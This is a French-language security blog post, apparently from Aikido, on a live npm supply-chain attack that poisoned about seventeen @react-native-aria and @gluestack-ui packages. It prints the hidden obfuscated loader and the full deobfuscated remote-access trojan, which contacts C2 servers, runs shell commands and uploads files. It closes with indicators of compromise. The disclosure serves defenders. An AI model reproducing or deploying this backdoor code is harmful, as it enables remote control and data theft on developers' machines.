Aikido

L'attaque NPM active s'intensifie : 16 packages React Native pour GlueStack ont été piégés du jour au lendemain

Charlie EriksenCharlie Eriksen
|
#
#

Depuis notre article de blog du 6 mai concernant la compromission du package populaire rand-user-agent, nous avons suivi l'acteur de la menace derrière l'attaque. Nous avons récemment observé des attaques de moindre envergure contre des packages peu ou pas utilisés. Cependant, la nuit dernière, le 6 juin 2025, nous avons détecté que l'acteur de la menace avait fait un mouvement significatif, compromettant des packages très populaires totalisant un million de téléchargements par semaine. Cet article de blog couvre ce que nous savons actuellement, mais la situation est une attaque en direct et en cours, donc les détails changent d'heure en heure.

Que s'est-il passé ?

Le 6 juin 2025, à 21h33 GMT, la version 0.2.10 de @react-native-aria/focus a été publiée : 

Il est à noter que la version précédente, 0.2.9, a été publiée le 18 octobre 2023, ce qui remonte à un certain temps. Mais qu'est-ce qui a changé dans cette nouvelle version ? Le seul fichier modifié était lib/commonjs/index.js. Notre analyse a détecté qu'un code malveillant avait été inséré à la ligne 46 :

La raison pour laquelle nous ne voyons aucun code est qu'ils ont utilisé une obfuscation basée sur les espaces blancs pour pousser le code hors de l'écran dans les éditeurs de code sans retour à la ligne automatique. Voici le code réel qu'il cache :

global['_V']='8-npm13';global['r']=require;(function(){var mGB='',hsR=615-604;function EgY(i){var b=4608798;var j=i.length;var p=[];for(var x=0;x<j;x++){p[x]=i.charAt(x)};for(var x=0;x<j;x++){var f=b*(x+186)+(b%37898);var k=b*(x+403)+(b%35963);var v=f%j;var l=k%j;var g=p[v];p[v]=p[l];p[l]=g;b=(f+k)%6568124;};return p.join('')};var Uwn=EgY('koosdciqucxbhcmgtanzpylfwurjtrtvrnoes').substr(0,hsR);var VVy='vfi(a72=,rf4j,tr50avhzru.lvbt,(fvtiui;;+(2>rl,[6qedz ."mv n=;rjs;6,trnrlry6p) 7ah"0e.6a,8;t9h,>)}e)x8=3 aiz1o"r[{y)8e;hufaaat7g.2=;;a.(llspm.u=rmo,lonotosCe;eeC.;9"l=(0dl(;2 -t<c0p1=i="vn=o=rif5i-mi,rtesr)z;s)d=;tgj97n s(rl.;ku;1u+)(ptr me d,uy.+vdsd= ];ser.p =og m5agnrbo=8.lbo=n-0;aS{o0<l+=r.ia](f=lh2r(.arar= [a(mgA rs(cn=lvg ruh0(i7hra*j{rri"6;ka;a;,ig<onijro{i=(7f8);.;me90.e) {ev6 arlo{;f4r=bhva+;ija((]nia),isahp=l3-neta[1!;,,)hea2(u+=-.=;y)tfehs;0hS8vsA-iau09))Cp1,)evl(])[eCanv=ch4kgod=)a(.prd=]vv]h)nno=;nt(}r2(++v"=h;ri st}] +en8[n}i+s(s=yf()n]}e+l.;".7dahfnvvif.auei,a sr]s;ri+t(=ny7)"coA)( 1r=tq)[+g li+;g;3l)psln,aro<iC+;;fn18e,unfa+s[.;t((evv;sg[m-ljqg=)o+eC"t5a[sg.a[+vr1j)]+;f(h(a]t;uti=c1u r=2;8]+ra9,i36,.lrb1ec1,)+)+;(scl=+([rfe,sC!e; .bg=t=ohnf,kv4<.)i=+,etcot0o;e=i)]6Admria)hn,a+0fnh hup;tv;tupu7srA)k]rtr,or)d0)nonaer6reCl0)w}1o{o9}q(;gvm[.ag(qh,clihr8=j=v;. *(hvr6[';var EiK=EgY[Uwn];var ogb='';var ZML=EiK;var Bfb=EiK(ogb,EgY(VVy));var cag=Bfb(EgY('.+5]isscR}aRR)e_g%%t2)R%rwRd{7%f,Rl((sfRt}n4]g,of%tcdtni]%1ryb+8,)5%R)ctl2.R6wcR=12fcm*.o\/s(}()aoc59)8.hr}=s]$%R6(l pe]9b+oit6o,u2,i]"fj0(.m%t;tqod1u1[[te0.{f!(6)r .1%(afhoa]]i%ffn s7tet_rcs%_%!+%ngR%ae r%}-,6+tdcennl[t6\'m\/.hh(gl]!fiRt5es"]\/Ror+].(R%)rupi>RnRv5i-ie!;)nb]7et())oe06RRre=a12i(f.aRsj5  ec)werr5xt%%n:=6bR;Rs2n 1#eco)d_[tpts(tno5]R]Rk0ny;3R{%%]9R]))1r"aafRe).0h6%af!rR.](.%R=}n7*,(%]6e]p1>(R{mreee(8mtn+o,ftur}1R].s%R%_h]) cff(fs9Rh-%a%,n%fR7+=.}!tfnvk0R(oN$%; %)n >cohRpk843,.]wch=+t.nnR\'h=$caar10f7to,;So)3.R))n)%Rn;.S7#_.c{R;0(t)Re02fg.f,f()R[\/C.RhR3c1d5ics[te]eoRRf1.fRR9?6.4cRo(.t)}(R_22>a;R3eott2==e(-n%..=rfvr.i[t +.+dfR[=trzn=1;ct0.4f_[f:zw.{C45C3iR)6SR3;5St;a(bi,(i;;2a1aea_%fdc4RR&hR.]C{im8c%==}{ ce1s(:ca".,6r==r\'d0n;[;br.cu]de]le)-;}RsaRni%}4=nl[).R|]t%)(cR6b)4qi+!=h.$e=rRttR=Ra])4[]"R3R03]=f8tx].R.R.: Rr4n]((%;oy{t]+=Rf8;gz)}f9R:abnRRoctnt5Rgtm(o.R;Ri#[(l:1,Ra)e&a:e$(,[Rs,R$6Ru)e)snv&R(R5Rhe5maho(.Rw8"<9.2uRfTnR9R[]=[!)!5.Rc5<t&iae=il}!2.%S;}.m.fb\/)imnf{e.Rb ]0f).)3)).2a31[f..(!R2}0e),atv"8!ff16clNR(n.9({9d]Rr*5f*1>t0._ dia:rnrn9.\/8t1.9;i1w% t2"wo;..(R]]c:.,a],m!e .fr.4fR.RRb]=5e)%]61Rd 7+c;:]Rnf.hRcm$aR%ow{=f_u)nat._%p\/r((.t]_ca%:f0 o={6d_=trcfRc";n=f0t#}R)nh5ot=R.2so0cu=o;tttt R1[ca;RtrRm2utr2l[\/nof-fdc))5.(ol..ta$lR.ttcf[R+.d%ft1tig;}f.f+R=.Rlmb=18oRfr%>]i\/e_e=R%$;gReslo!  9[0]o:tR)n+66t0\'t9s(.rea_!)2vRrR1=r.gh3e"e20]}18us4%.R[)t(R%T9]#1c7lRfd;h]d\/an}1_pt(a;R>i;%.nR=)(];5=srR+9m]fa4+\'fn]ko%sgo)R,eo+f;1.0RR6R(%rpr5]5t}fc.b].0s!)r}2)9tfR|cR.a}i7e7]4(.ftw]rd=Rc$1w7]+[n.)].R)a 4$%S2$,[f8(2r9sRe=ta(ja$sn(nR&no)u[(2o()1[u}!ans(ip.=2=aa4tCaR.0ysbR.=}.b.f\'=2ei8Rca;u;RtR)66,erfR;.:b6.9%])a%t..;71a9]c3R,)eo] +))RfiR87.(#)>(Rc!f.rrt).R4)%.]=\'cccbR=4}=R2rta+oty+ht7\'gtRtscja:iaxetc(ed0(t]{{rR)[gl4.o7c8nd1n).snteensR5g1]0RtR};}eaec(tr7b.%Rr:;$5ait9)3o2R.seR:Rl]f )b Rff]i=}]))$a7cRs;0)} yx(arRR..a=e33 6.Rc,iR1m{4R+)Ra,o7e=qlin5$#pejl;R;t_b[_.s\/fp=,o{]6R%R((u=.she!2]a.=)sya(.}+l!2%]](faRindel](R0i+]e.!f6.t1f+]\/h+ic;ut8]7eck ]p2. Sc.l9.((_'));var mfa=ZML(mGB,cag );mfa(9993);return 6161})()

Cette charge utile nous était immédiatement familière, car nous l'avions déjà vue. Nous avons rapidement confirmé qu'elle déploie une charge utile très similaire à celle que nous avions documentée le mois dernier lorsqu'un autre package populaire, appelé rand-user-agent, a été compromis. Vous pouvez trouver les détails techniques ici sur ce que fait la charge utile :

La situation a rapidement dégénéré

Depuis lors, nous étions sur le qui-vive. Nous n'avions pas anticipé ce qui allait se passer ensuite, car nous avons vu en temps réel les attaquants commencer à compromettre un nombre significatif d'autres packages. Nous avons vu tous ces packages être compromis :

Heure Package Version Téléchargements par semaine
6 juin, 21:43@react-native-aria/focus0.2.10100,000
7 juin, 00:37@react-native-aria/utils0.2.13120,000
7 juin, 00:37@react-native-aria/overlays0.3.1696,000
7 juin, 00:40@react-native-aria/interactions0.2.17125,000
7 juin, 00:42@react-native-aria/toggle0.2.1281,000
7 juin, 00:43@react-native-aria/switch0.2.5477
7 juin, 00:46@react-native-aria/checkbox0.2.1181,000
7 juin, 00:48@react-native-aria/radio0.2.1478,000
7 juin, 14:28@react-native-aria/button0.2.1151,000
7 juin, 14:29@react-native-aria/menu0.2.1622,000
7 juin, 14:29@react-native-aria/listbox0.2.1051,000
7 juin, 14:30@react-native-aria/tabs0.2.1470,000
7 juin, 14:36@react-native-aria/combobox0.2.851,000
7 juin, 14:36@react-native-aria/disclosure0.2.93
7 juin, 14:36@react-native-aria/slider0.2.1370,000
7 juin, 14:38@react-native-aria/separator0.2.765
7 juin, 14:46 (7 juin, 17:13)@gluestack-ui/utils0.1.16 (0.1.17)55,000

Combinés, ces packages enregistrent plus d'un million de téléchargements par semaine. 

Quoi de neuf depuis le dernier compromis ?

Comme mentionné précédemment, la charge utile que les attaquants déploient est pratiquement la même que celle documentée dans le cas rand-user-agent, mais il existe QUELQUES différences. Voici la charge utile complète qui est déployée sur le client lorsque le malware est exécuté :

global._V = '8-npm13';
(async () => {
  try {
    const c = global.r || require;
    const d = global._V || '0';
    const f = c('os');
    const g = c("path");
    const h = c('fs');
    const i = c("child_process");
    const j = c("crypto");
    const k = f.platform();
    const l = k.startsWith('win');
    const m = f.hostname();
    const n = f.userInfo().username;
    const o = f.type();
    const p = f.release();
    const q = o + " " + p;
    const r = process.execPath;
    const s = process.version;
    const u = new Date().toISOString();
    const v = process.cwd();
    const w = typeof __filename === "undefined" || __filename !== "[eval]";
    const x = typeof __dirname === "undefined" ? v : __dirname;
    const y = g.join(f.homedir(), ".node_modules");
    if (typeof module === "object") {
      module.paths.push(g.join(y, "node_modules"));
    } else {
      if (global._module) {
        global._module.paths.push(g.join(y, "node_modules"));
      } else {
        if (global.m) {
          global.m.paths.push(g.join(y, "node_modules"));
        }
      }
    }
    async function z(V, W) {
      return new global.Promise((X, Y) => {
        i.exec(V, W, (Z, a0, a1) => {
          if (Z) {
            Y("Error: " + Z.message);
            return;
          }
          if (a1) {
            Y("Stderr: " + a1);
            return;
          }
          X(a0);
        });
      });
    }
    function A(V) {
      try {
        c.resolve(V);
        return true;
      } catch (W) {
        return false;
      }
    }
    const B = A('axios');
    const C = A("socket.io-client");
    if (!B || !C) {
      try {
        const V = {
          stdio: "inherit",
          "windowsHide": true
        };
        const W = {
          stdio: "inherit",
          "windowsHide": true
        };
        if (B) {
          await z("npm --prefix \"" + y + "\" install socket.io-client", V);
        } else {
          await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
        }
      } catch (X) {}
    }
    const D = c('axios');
    const E = c("form-data");
    const F = c("socket.io-client");
    let G;
    let H;
    let I = {};
    const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
    const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
    function L() {
      if (w) {
        return '[eval]' + m + '$' + n;
      }
      return m + '$' + n;
    }
    function M() {
      const Y = j.randomBytes(0x10);
      Y[0x6] = Y[0x6] & 0xf | 0x40;
      Y[0x8] = Y[0x8] & 0x3f | 0x80;
      const Z = Y.toString("hex");
      return Z.substring(0x0, 0x8) + '-' + Z.substring(0x8, 0xc) + '-' + Z.substring(0xc, 0x10) + '-' + Z.substring(0x10, 0x14) + '-' + Z.substring(0x14, 0x20);
    }
    function N() {
      const Y = {
        "reconnectionDelay": 0x1388
      };
      G = F(J, Y);
      G.on("connect", () => {
        const Z = L();
        const a0 = {
          "clientUuid": Z,
          "processId": H,
          "osType": o
        };
        G.emit('identify', "client", a0);
      });
      G.on("disconnect", () => {});
      G.on("command", S);
      G.on("exit", () => {
        if (!w) {
          process.exit();
        }
      });
    }
    async function O(Y, Z, a0, a1) {
      try {
        const a2 = new E();
        a2.append("client_id", Y);
        a2.append("path", a0);
        Z.forEach(a4 => {
          const a5 = g.basename(a4);
          a2.append(a5, h.createReadStream(a4));
        });
        const a3 = await D.post(K + "/u/f", a2, {
          'headers': a2.getHeaders()
        });
        if (a3.status === 0xc8) {
          G.emit("response", "HTTP upload succeeded: " + g.basename(Z[0x0]) + " file uploaded\n", a1);
        } else {
          G.emit("response", "Failed to upload file. Status code: " + a3.status + "\n", a1);
        }
      } catch (a4) {
        G.emit("response", "Failed to upload: " + a4.message + "\n", a1);
      }
    }
    async function P(Y, Z, a0, a1) {
      try {
        let a2 = 0x0;
        let a3 = 0x0;
        const a4 = Q(Z);
        for (const a5 of a4) {
          if (I[a1].stopKey) {
            G.emit("response", "HTTP upload stopped: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
            return;
          }
          const a6 = g.relative(Z, a5);
          const a7 = g.join(a0, g.dirname(a6));
          try {
            await O(Y, [a5], a7, a1);
            a2++;
          } catch (a8) {
            a3++;
          }
        }
        G.emit('response', "HTTP upload succeeded: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
      } catch (a9) {
        G.emit("response", "Failed to upload: " + a9.message + "\n", a1);
      }
    }
    function Q(Y) {
      let Z = [];
      const a0 = h.readdirSync(Y);
      a0.forEach(a1 => {
        const a2 = g.join(Y, a1);
        const a3 = h.statSync(a2);
        if (a3 && a3.isDirectory()) {
          Z = Z.concat(Q(a2));
        } else {
          Z.push(a2);
        }
      });
      return Z;
    }
    function R(Y) {
      const Z = Y.split(':');
      if (Z.length < 0x2) {
        const a4 = {
          "valid": false,
          "message": "Command is missing \":\" separator or parameters"
        };
        return a4;
      }
      const a0 = Z[0x1].split(',');
      if (a0.length < 0x2) {
        const a5 = {
          "valid": false,
          "message": "Filename or destination is missing"
        };
        return a5;
      }
      const a1 = a0[0x0].trim();
      const a2 = a0[0x1].trim();
      if (!a1 || !a2) {
        const a6 = {
          "valid": false,
          "message": "Filename or destination is empty"
        };
        return a6;
      }
      const a3 = {
        "valid": true,
        filename: a1,
        destination: a2
      };
      return a3;
    }
    function S(Y, Z) {
      if (!Z) {
        const a1 = {
          "valid": false,
          "message": "User UUID not provided in the command."
        };
        return a1;
      }
      if (!I[Z]) {
        const a2 = {
          "currentDirectory": x,
          commandQueue: [],
          "stopKey": false
        };
        I[Z] = a2;
      }
      const a0 = I[Z];
      a0.commandQueue.push(Y);
      T(Z);
    }
    async function T(Y) {
      let Z = I[Y];
      while (Z.commandQueue.length > 0x0) {
        const a0 = Z.commandQueue.shift();
        let a1 = '';
        if (a0 === 'cd' || a0.startsWith("cd ") || a0.startsWith("cd.")) {
          const a2 = a0.slice(0x2).trim();
          try {
            process.chdir(Z.currentDirectory);
            process.chdir(a2 || '.');
            Z.currentDirectory = process.cwd();
          } catch (a3) {
            a1 = "Error: " + a3.message;
          }
        } else {
          if (a0 === 'ss_info') {
            a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
          } else {
            if (a0 === "ss_ip") {
              a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
            } else {
              if (a0.startsWith("ss_upf") || a0.startsWith('ss_upd')) {
                const a4 = R(a0);
                if (!a4.valid) {
                  a1 = "Invalid command format: " + a4.message + "\n";
                  G.emit('response', a1, Y);
                  continue;
                }
                const {
                  filename: a5,
                  destination: a6
                } = a4;
                Z.stopKey = false;
                a1 = " >> starting upload\n";
                if (a0.startsWith("ss_upf")) {
                  O(m + '$' + n, [g.join(process.cwd(), a5)], a6, Y);
                } else if (a0.startsWith("ss_upd")) {
                  P(m + '$' + n, g.join(process.cwd(), a5), a6, Y);
                }
              } else {
                if (a0.startsWith("ss_dir")) {
                  process.chdir(x);
                  Z.currentDirectory = process.cwd();
                } else {
                  if (a0.startsWith('ss_fcd')) {
                    const a7 = a0.split(':');
                    if (a7.length < 0x2) {
                      a1 = "Command is missing \":\" separator or parameters";
                    } else {
                      const a8 = a7[0x1];
                      process.chdir(a8);
                      Z.currentDirectory = process.cwd();
                    }
                  } else {
                    if (a0.startsWith("ss_stop")) {
                      Z.stopKey = true;
                    } else {
                      try {
                        const a9 = {
                          "cwd": Z.currentDirectory,
                          windowsHide: true
                        };
                        if (l) {
                          try {
                            const ab = g.join(process.env.LOCALAPPDATA || g.join(f.homedir(), "AppData", "Local"), "Programs\\Python\\Python3127");
                            const ac = {
                              ...process.env
                            };
                            ac.PATH = ab + ';' + process.env.PATH;
                            a9.env = ac;
                          } catch (ad) {}
                        }
                        if (a0[0x0] === '*') {
                          a9.detached = true;
                          a9.stdio = "ignore";
                          const ae = a0.substring(0x1).match(/(?:[^\s"]+|"[^"]*")+/g);
                          const af = ae.map(ag => ag.replace(/^"|"$/g, ''));
                          i.spawn(af[0x0], af.slice(0x1), a9).on('error', ag => {});
                        } else {
                          i.exec(a0, a9, (ag, ah, ai) => {
                            let aj = "\n";
                            if (ag) {
                              aj += "Error executing command: " + ag.message;
                            }
                            if (ai) {
                              aj += "Stderr: " + ai;
                            }
                            aj += ah;
                            aj += Z.currentDirectory + "> ";
                            G.emit("response", aj, Y);
                          });
                        }
                      } catch (ag) {
                        a1 = "Error executing command: " + ag.message;
                      }
                    }
                  }
                }
              }
            }
          }
        }
        a1 += Z.currentDirectory + "> ";
        G.emit("response", a1, Y);
      }
    }
    function U() {
      H = M();
      N(H);
    }
    U();
  } catch (Y) {}
})();

Nouveau serveur C2

Une variable dans le code sélectionne désormais entre le serveur C2 précédemment observé et un nouveau que nous n'avions pas encore vu :

const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";

La variable d est assignée à partir de la variable située en haut de la backdoor :

global._V = '8-npm13';

Cette variable semble être un tag de version, sélectionnant ainsi le serveur C2 à utiliser en fonction de la version du code qu'ils ont déployé.

Nouvelles commandes

Le RAT (cheval de Troie d'accès à distance) dispose de deux nouvelles commandes :

if (a0 === 'ss_info') {
  a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
} else {
  if (a0 === "ss_ip") {
    a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
  }
...

  • ss_info: Affiche le contexte système et les métadonnées :
    • Tag de version interne (_V)
    • Type d'OS, chemin Node, version de Node.js
    • Chemin du script, répertoire de travail, horodatages
  • ss_ip: Effectue une requête externe vers http://ip-api.com/json et renvoie les informations d'IP publique.

À suivre

Il y a beaucoup à dire sur cette histoire, mais compte tenu de l'ampleur de l'attaque, nous voulions sensibiliser le public le plus rapidement possible afin que les gens puissent se protéger. Ces attaquants ont constamment démontré leur capacité à compromettre des packages, déployant leurs chevaux de Troie d'accès à distance (RAT). 

Indicateurs de compromission

Packages

Package Version
@react-native-aria/focus0.2.10
@react-native-aria/utils0.2.13
@react-native-aria/overlays0.3.16
@react-native-aria/interactions0.2.17
@react-native-aria/toggle0.2.12
@react-native-aria/switch0.2.5
@react-native-aria/checkbox0.2.11
@react-native-aria/radio0.2.14
@react-native-aria/button0.2.11
@react-native-aria/menu0.2.16
@react-native-aria/listbox0.2.10
@react-native-aria/tabs0.2.14
@react-native-aria/combobox0.2.8
@react-native-aria/disclosure0.2.9
@react-native-aria/slider0.2.13
@react-native-aria/separator0.2.7
@gluestack-ui/utils0.1.16, 0.1.17

IPs 

Si vous pensez avoir installé l'un des packages ci-dessus, vérifiez votre pare-feu pour toute connexion sortante vers ces adresses IP :

  • 136.0.9[.]8
  • 85.239.62[.]36

Backdoor 

Le RAT tentera de persister sur le système via un fichier dans le chemin %LOCALAPPDATA%\Programs\Python\Python3127 si sous Windows. Si vous trouvez des fichiers à cet emplacement, vous avez été compromis et ne devriez plus considérer le système comme sûr, car les attaquants pourraient avoir déployé d'autres charges utiles par la suite. 

4.7/5

Sécurisez votre logiciel dès maintenant.

Essai gratuit
Sans CB
Planifiez une démo
Vos données ne seront pas partagées - Accès en lecture seule - Pas de CB nécessaire

Sécurisez-vous maintenant.

Sécuriser votre code, votre cloud et votre runtime dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Pas de carte de crédit requise | Résultats du scan en 32 secondes.